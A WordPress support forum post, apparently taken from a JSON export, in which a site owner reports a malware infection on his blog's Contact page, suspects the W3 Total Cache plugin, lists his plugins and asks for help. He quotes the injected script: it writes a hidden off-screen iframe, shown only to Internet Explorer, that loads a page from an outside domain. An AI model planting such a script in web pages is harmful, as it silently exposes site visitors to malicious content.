I have last version of your plugin and WordPress.<\/p>\n
Everything was ok until today. I’ve got a report from sitelock that my Contact page on my blog is infected with malware with iframe redirecting to h t t p : \/ \/ 203koko.eu\/hjnfh\/ipframe2.php <\/p>\n
Chcecked my page source on this contact page and found something like this:<\/p>\n
<script>\/*<![CDATA[*\/if(navigator.userAgent.match(\/msie\/i)){document.write(‘ <div style=”position:absolute;left:-2000px;width:2000px”><iframe src=”http:\/\/203koko.eu\/hjnfh\/ipframe2.php” width=”20″ height=”30″ ><\/iframe><\/div>’);}\/*]]>*\/<\/script><\/p>\n
I desactivated just Total Cache and this page is not infected anymore.<\/p>\n
I have other plugins (up to date) active:<\/p>\n
Akismet Version 3.0.4
\nCustom Posts Per Page Version 1.7.1
\nFancyBox for WordPress Version 3.0.2
\nGetSocial Version 2.0.1
\nNextCellent Gallery Version 1.9.25.1
\nOfficial StatCounter Plugin Version 1.6.9
\nUse Google Libraries Version 1.6.2
\nWordPress SEO Version 1.7.1<\/p>\n
Can anybody helps me to determine source of this malware?<\/p>\n
Best<\/p>\n
Maciek<\/p>\n
https:\/\/wordpress.org\/plugins\/w3-total-cache\/<\/p>\n","protected":false},"template":"","class_list":["post-5750634","topic","type-topic","status-closed","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/5750634","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/5750634\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=5750634"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}